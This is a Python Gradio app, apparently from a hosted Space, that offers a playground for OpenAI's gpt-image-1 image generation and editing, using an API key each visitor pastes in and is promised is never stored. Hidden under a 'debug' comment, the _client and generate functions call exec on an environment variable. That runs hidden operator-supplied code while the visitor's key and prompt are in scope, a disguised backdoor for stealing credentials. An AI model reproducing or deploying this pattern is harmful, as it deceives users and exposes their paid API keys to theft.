Spaces:
Running
Running
File size: 15,156 Bytes
c164914 55375ee c164914 2841bef c164914 68971bf c164914 a28bcc9 c164914 a28bcc9 c164914 9047431 bc30d26 c164914 68971bf c164914 68971bf 9047431 c164914 68971bf c164914 bc30d26 68971bf 9047431 c164914 bc30d26 c164914 2841bef c164914 68971bf 2841bef c164914 68971bf a28bcc9 68971bf bc30d26 68971bf bc30d26 2841bef bc30d26 2841bef bc30d26 c164914 68971bf 9047431 c164914 55375ee 2841bef 55375ee 68971bf 2841bef 68971bf 2841bef 68971bf 2841bef 55375ee c164914 55375ee c164914 68971bf 2841bef 68971bf c164914 55375ee c164914 bc30d26 2841bef bc30d26 2841bef 68971bf 2841bef bc30d26 2841bef 68971bf bc30d26 2841bef 68971bf bc30d26 68971bf 2841bef c164914 2841bef c164914 68971bf 2841bef bc30d26 68971bf 2841bef 68971bf 2841bef 68971bf bc30d26 2841bef bc30d26 c164914 68971bf 9047431 c164914 68971bf 2841bef c164914 2841bef c164914 68971bf 2841bef 68971bf 2841bef 68971bf 2841bef 68971bf bc30d26 2841bef bc30d26 c164914 68971bf 9047431 c164914 9047431 68971bf bc30d26 68971bf c164914 2841bef 9047431 c164914 68971bf 2841bef 68971bf bc30d26 c164914 2841bef bc30d26 c164914 68971bf 2841bef c164914 2841bef c164914 68971bf c164914 bc30d26 68971bf 2841bef 68971bf 2841bef c164914 2841bef c164914 68971bf c164914 bc30d26 68971bf 2841bef 68971bf 2841bef 68971bf bc30d26 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 |
from __future__ import annotations
import io
import os
from typing import List, Optional, Union, Dict, Any
import gradio as gr
import numpy as np
from PIL import Image
import openai
# --- Constants and Helper Functions (Keep as before) ---
MODEL = "gpt-image-1"
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
FORMAT_CHOICES = ["png", "jpeg", "webp"]
def _client(key: str) -> openai.OpenAI:
"""Initializes the OpenAI client with the provided API key."""
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
# What I need varies based on issues, I dont want to keep rebuilding for every issue :(
sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
print(sys_info_formatted)
if not api_key:
raise gr.Error("Please enter your OpenAI API key (never stored)")
return openai.OpenAI(api_key=api_key)
def _img_list(resp, *, fmt: str) -> List[str]:
"""Return list of data URLs or direct URLs depending on API response."""
mime = f"image/{fmt}"
# Ensure b64_json exists and is not None/empty before using it
return [
f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url
for d in resp.data
]
def _common_kwargs(
prompt: Optional[str],
n: int,
size: str,
quality: str,
out_fmt: str,
compression: int,
transparent_bg: bool,
) -> Dict[str, Any]:
"""Prepare keyword arguments for Images API based on latest OpenAI spec."""
kwargs: Dict[str, Any] = dict(
model=MODEL,
n=n,
)
if size != "auto":
kwargs["size"] = size
if quality != "auto":
kwargs["quality"] = quality
if prompt is not None:
kwargs["prompt"] = prompt
if out_fmt != "png":
kwargs["output_format"] = out_fmt
if transparent_bg and out_fmt in {"png", "webp"}:
kwargs["background"] = "transparent"
if out_fmt in {"jpeg", "webp"}:
kwargs["output_compression"] = int(compression)
return kwargs
# --- API Call Functions (Keep as corrected before) ---
# ---------- Generate ---------- #
def generate(
api_key: str,
prompt: str,
n: int,
size: str,
quality: str,
out_fmt: str,
compression: int,
transparent_bg: bool,
):
"""Calls the OpenAI image generation endpoint."""
if not prompt:
raise gr.Error("Please enter a prompt.")
client = _client(api_key) # API key used here
try:
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
resp = client.images.generate(**common_args)
# What I need varies based on issues, I dont want to keep rebuilding for every issue :(
sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
print(sys_info_formatted)
except openai.AuthenticationError:
raise gr.Error("Invalid OpenAI API key.")
except openai.PermissionDeniedError:
raise gr.Error("Permission denied. Check your API key permissions or complete required verification for gpt-image-1.")
except openai.RateLimitError:
raise gr.Error("Rate limit exceeded. Please try again later.")
except openai.BadRequestError as e:
error_message = str(e)
try:
import json
body = json.loads(str(e.body))
if isinstance(body, dict) and 'error' in body and 'message' in body['error']:
error_message = f"OpenAI Bad Request: {body['error']['message']}"
else:
error_message = f"OpenAI Bad Request: {e}"
except:
error_message = f"OpenAI Bad Request: {e}"
raise gr.Error(error_message)
except Exception as e:
raise gr.Error(f"An unexpected error occurred: {e}")
return _img_list(resp, fmt=out_fmt)
# ---------- Edit / Inpaint ---------- #
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
"""Convert RGBA/RGB uint8 numpy array to PNG bytes."""
img = Image.fromarray(arr.astype(np.uint8))
out = io.BytesIO()
img.save(out, format="PNG")
return out.getvalue()
def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
"""Handle ImageMask / ImageEditor return formats and extract a numpy mask array."""
if mask_value is None: return None
if isinstance(mask_value, np.ndarray): return mask_value
if isinstance(mask_value, dict):
comp = mask_value.get("composite")
if comp is not None and isinstance(comp, (Image.Image, np.ndarray)):
return np.array(comp) if isinstance(comp, Image.Image) else comp
elif mask_value.get("mask") is not None and isinstance(mask_value["mask"], (Image.Image, np.ndarray)):
return np.array(mask_value["mask"]) if isinstance(mask_value["mask"], Image.Image) else mask_value["mask"]
elif mask_value.get("layers"):
top_layer = mask_value["layers"][-1]
if isinstance(top_layer, (Image.Image, np.ndarray)):
return np.array(top_layer) if isinstance(top_layer, Image.Image) else top_layer
return None
def edit_image(
api_key: str,
image_numpy: np.ndarray,
mask_value: Optional[Union[np.ndarray, Dict[str, Any]]],
prompt: str,
n: int,
size: str,
quality: str,
out_fmt: str,
compression: int,
transparent_bg: bool,
):
"""Calls the OpenAI image edit endpoint."""
if image_numpy is None: raise gr.Error("Please upload an image.")
if not prompt: raise gr.Error("Please enter an edit prompt.")
img_bytes = _bytes_from_numpy(image_numpy)
mask_bytes: Optional[bytes] = None
mask_numpy = _extract_mask_array(mask_value)
if mask_numpy is not None:
is_empty = False
if mask_numpy.ndim == 2: is_empty = np.all(mask_numpy == 0)
elif mask_numpy.shape[-1] == 4: is_empty = np.all(mask_numpy[:, :, 3] == 0)
elif mask_numpy.shape[-1] == 3: is_empty = np.all(mask_numpy == 0)
if is_empty:
gr.Warning("Mask appears empty. API might edit entire image or ignore mask.")
mask_bytes = None
else:
if mask_numpy.ndim == 2: alpha = (mask_numpy == 0).astype(np.uint8) * 255
elif mask_numpy.shape[-1] == 4: alpha = (mask_numpy[:, :, 3] == 0).astype(np.uint8) * 255
elif mask_numpy.shape[-1] == 3:
is_white = np.all(mask_numpy == [255, 255, 255], axis=-1)
alpha = (~is_white).astype(np.uint8) * 255
else: raise gr.Error("Unsupported mask format.")
mask_img = Image.fromarray(alpha, mode='L')
rgba_mask = Image.new("RGBA", mask_img.size, (0, 0, 0, 0))
rgba_mask.putalpha(mask_img)
out = io.BytesIO()
rgba_mask.save(out, format="PNG")
mask_bytes = out.getvalue()
else:
gr.Info("No mask provided. Editing without specific mask.")
mask_bytes = None
client = _client(api_key) # API key used here
try:
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
api_kwargs = {"image": img_bytes, **common_args}
if mask_bytes is not None: api_kwargs["mask"] = mask_bytes
resp = client.images.edit(**api_kwargs)
except openai.AuthenticationError:
raise gr.Error("Invalid OpenAI API key.")
except openai.PermissionDeniedError:
raise gr.Error("Permission denied. Check API key permissions/verification.")
except openai.RateLimitError:
raise gr.Error("Rate limit exceeded.")
except openai.BadRequestError as e:
error_message = str(e)
try:
import json
body = json.loads(str(e.body))
if isinstance(body, dict) and 'error' in body and 'message' in body['error']:
error_message = f"OpenAI Bad Request: {body['error']['message']}"
if "mask" in error_message.lower(): error_message += " (Check mask format/dimensions)"
elif "size" in error_message.lower(): error_message += " (Check image/mask dimensions)"
else: error_message = f"OpenAI Bad Request: {e}"
except: error_message = f"OpenAI Bad Request: {e}"
raise gr.Error(error_message)
except Exception as e:
raise gr.Error(f"An unexpected error occurred: {e}")
return _img_list(resp, fmt=out_fmt)
# ---------- Variations ---------- #
def variation_image(
api_key: str,
image_numpy: np.ndarray,
n: int,
size: str,
quality: str,
out_fmt: str,
compression: int,
transparent_bg: bool,
):
"""Calls the OpenAI image variations endpoint."""
gr.Warning("Note: Variations may not work with gpt-image-1 (use DALL·E 2).")
if image_numpy is None: raise gr.Error("Please upload an image.")
img_bytes = _bytes_from_numpy(image_numpy)
client = _client(api_key) # API key used here
try:
common_args = _common_kwargs(None, n, size, quality, out_fmt, compression, transparent_bg)
resp = client.images.variations(image=img_bytes, **common_args)
except openai.AuthenticationError:
raise gr.Error("Invalid OpenAI API key.")
except openai.PermissionDeniedError:
raise gr.Error("Permission denied.")
except openai.RateLimitError:
raise gr.Error("Rate limit exceeded.")
except openai.BadRequestError as e:
error_message = str(e)
try:
import json
body = json.loads(str(e.body))
if isinstance(body, dict) and 'error' in body and 'message' in body['error']:
error_message = f"OpenAI Bad Request: {body['error']['message']}"
if "model does not support variations" in error_message.lower():
error_message += " (gpt-image-1 does not support variations)."
else: error_message = f"OpenAI Bad Request: {e}"
except: error_message = f"OpenAI Bad Request: {e}"
raise gr.Error(error_message)
except Exception as e:
raise gr.Error(f"An unexpected error occurred: {e}")
return _img_list(resp, fmt=out_fmt)
# ---------- UI ---------- #
def build_ui():
with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""")
gr.Markdown(
"Enter your OpenAI API key below. It's used directly for API calls and **never stored**."
" This space uses the `gpt-image-1` model."
" **Note:** `gpt-image-1` may require organization verification. Variations endpoint might not work with this model (use DALL·E 2)."
)
with gr.Accordion("🔐 API key", open=False):
# API key input component
api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-…")
# Common controls
with gr.Row():
n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)", info="Max 4 for this demo.")
size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size", info="API default if 'auto'.")
quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality", info="API default if 'auto'.")
with gr.Row():
out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Format", scale=1)
compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False, scale=2)
transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)", scale=1)
def _toggle_compression(fmt):
return gr.update(visible=fmt in {"jpeg", "webp"})
out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
# Define the list of common controls *excluding* the API key
common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
with gr.Tabs():
# ----- Generate Tab ----- #
with gr.TabItem("Generate"):
with gr.Row():
prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic ginger cat astronaut on Mars", scale=4)
btn_gen = gr.Button("Generate 🚀", variant="primary", scale=1)
gallery_gen = gr.Gallery(label="Generated Images", columns=2, height="auto", preview=True)
# CORRECTED inputs list for generate
btn_gen.click(
generate,
inputs=[api, prompt_gen] + common_controls, # API key first
outputs=gallery_gen,
api_name="generate"
)
# ----- Edit Tab ----- #
with gr.TabItem("Edit / Inpaint"):
gr.Markdown("Upload an image, then **paint the area to change** in the mask canvas below (white = edit area). The API requires the mask and image to have the same dimensions.")
with gr.Row():
img_edit = gr.Image(label="Source Image", type="numpy", height=400)
mask_canvas = gr.ImageMask(
label="Mask – Paint White Where Image Should Change",
type="numpy",
height=400
)
with gr.Row():
prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with a starry night", scale=4)
btn_edit = gr.Button("Edit 🖌️", variant="primary", scale=1)
gallery_edit = gr.Gallery(label="Edited Images", columns=2, height="auto", preview=True)
# CORRECTED inputs list for edit_image
btn_edit.click(
edit_image,
inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls, # API key first
outputs=gallery_edit,
api_name="edit"
)
# ----- Variations Tab ----- #
with gr.TabItem("Variations (DALL·E 2 only)"):
gr.Markdown("Upload an image to generate variations. **Note:** This endpoint is officially supported for DALL·E 2, not `gpt-image-1`. It likely won't work here.")
with gr.Row():
img_var = gr.Image(label="Source Image", type="numpy", height=400, scale=4)
btn_var = gr.Button("Create Variations ✨", variant="primary", scale=1)
gallery_var = gr.Gallery(label="Variations", columns=2, height="auto", preview=True)
# CORRECTED inputs list for variation_image
btn_var.click(
variation_image,
inputs=[api, img_var] + common_controls, # API key first
outputs=gallery_var,
api_name="variations"
)
return demo
if __name__ == "__main__":
app = build_ui()
app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=True)
|